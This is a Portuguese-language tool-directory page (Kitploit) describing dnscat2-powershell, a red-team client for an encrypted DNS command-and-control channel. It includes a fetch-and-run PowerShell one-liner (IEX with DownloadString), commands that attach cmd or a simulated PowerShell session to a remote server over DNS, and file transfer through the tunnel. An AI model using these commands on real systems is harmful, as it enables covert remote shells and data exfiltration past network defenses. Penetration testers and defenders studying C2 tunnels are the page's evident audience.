Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
dnscat2-powershell — Um cliente Powershell para dnscat2, uma ferramenta de comando e controle DNS criptografado. | Kitploit
Ferramentas/GitHubGitHub/lukebaggett/dnscat2-powershell
Ferramentas de Criptografia/DescriptografiaPós-ExploraçãoTestes de PenetraçãoComando e ControleRed TeamingAnálise de DNSArchived
GitHublukebaggett/dnscat2-powershell

dnscat2-powershell

Um cliente Powershell para dnscat2, uma ferramenta de comando e controle DNS criptografado.

Ver Repositório
435123há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Site

dnscat2 é uma ferramenta de canal encoberto DNS criada por @iagox86 (Ron Bowes) que é usada para transferir dados através de requisições DNS.

Esta é uma versão em powershell do cliente C do dnscat2.

Clique aqui para um post no blog que fornece uma análise mais detalhada do propósito deste script e como usá-lo.

Para usar este script, você precisará do servidor ruby dnscat2 server. Certifique-se de adicionar a opção --no-cache ao executar o servidor. Este cliente é incompatível com o cache do servidor.

Configuração

Primeiro, instale o servidor dnscat2. Inicie o servidor com o cache desabilitado usando --no-cache. O comando para iniciar seu servidor deve ser algo como: ruby dnscat2.rb --dns="domain=example.com" --no-cache

Em seguida, abra o Windows Powershell (versão 2.0 ou posterior). Você pode usar este comando para carregar as funções powershell do dnscat2:

root@kitploit:~
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')

Exemplos

Start-Dnscat2 é a função real usada como cliente. Especifique o servidor dnscat2 usando -Domain.

root@kitploit:~
Iniciar uma sessão de comando e enviar requisições DNS para 8.8.8.8 na porta 53:
    Start-Dnscat2 -Domain <servidor dnscat2> -DNSServer 8.8.8.8

Enviar um shell cmd e enviar requisições DNS para o servidor DNS padrão configurado no Windows:
    Start-Dnscat2 -Domain <servidor dnscat2> -Exec cmd

Iniciar uma sessão de console. Usar apenas requisições CNAME, MX e AAAA:
    Start-Dnscat2 -Domain <servidor dnscat2> -LookupTypes @("CNAME","MX","AAAA") -Console

Não criptografar a sessão. A criptografia está ativada por padrão.
    Start-Dnscat2 -Domain <servidor dnscat2> -NoEncryption

Comandos da Sessão de Comando do Powershell

O cliente pode lidar com comandos normais do dnscat2 ou a versão powershell desse comando. Para usar a versão powershell de um comando, defina parâmetros específicos que o cliente detectará (Estes são comandos executados a partir de uma sessão de comando no servidor):

root@kitploit:~
Iniciar uma nova sessão que simula um shell Powershell, como ExecPS:
    exec psh

Enviar o app.exe do servidor para uma string hexadecimal armazenada na variável powershell $app:
    upload app.exe hex:$app

Baixar o array de bytes armazenado na variável powershell $app para app.exe no servidor:
    download bytes:$app app.exe

Start-Dnscat2

root@kitploit:~
-Domain <String>          O domínio sendo usado pelo servidor dnscat2.
-DNSServer <String>       O hostname ou endereço IP para enviar as consultas DNS. (Padrão: Definido pelo Windows)
-DNSPort <Int32>          A porta para enviar as consultas DNS. (Padrão: 53)

-Command                  Iniciar uma sessão de comando. (Padrão)
-Exec <String>            Vincular a E/S de um processo com a sessão Dnscat2.
-Console                  Vincular a E/S do console com a sessão Dnscat2.
-ExecPS                   Simular uma sessão Powershell e vincular a E/S com a sessão Dnscat2.
                          AVISO: Sair irá encerrar todo o cliente dnscat2, não apenas a sessão.

-PreSharedSecret          Definir a mesma chave secreta no servidor para autenticar e evitar MITM.
-NoEncryption             Não usar criptografia.

-LookupTypes <String[]>   Definir um array de tipos de consulta para alternar aleatoriamente.
                          Apenas registros TXT, MX, CNAME, A e AAAA são suportados. Padrão: @(TXT, MX, CNAME)
-Delay <Int32>            Definir um atraso entre cada requisição, em milissegundos. (Padrão: 0)
-MaxRandomDelay <Int32>   Definir o valor máximo de um atraso aleatório adicionado ao atraso normal, em milissegundos. (Padrão: 0)
-MaxPacketSize <Int32>    Comprimento máximo de um pacote dnscat2. (Padrão: 240)
-Name <String>            O nome da sua sessão dnscat2. (Padrão: hostname)

ExecPS e 'exec psh'

dnscat2-powershell simula uma sessão powershell passando dados do servidor para o Invoke-Expression. Apenas a saída padrão é retornada, e as variáveis são preservadas enquanto o cliente estiver em execução. Cuidado com coisas que saem do powershell, como "exit" e "break", pois todo o cliente dnscat2-powershell será encerrado, não apenas a sessão ExecPS.

Outros Créditos

  • db9 no stackoverflow demonstração de BouncyCastle ECDH.
  • FrankSpierings implementação de Salsa20 e Sha3 em Powershell via C#.
  • Rebex Labs versão reduzida da DLL BouncyCastle para ECC.
Baixar ferramenta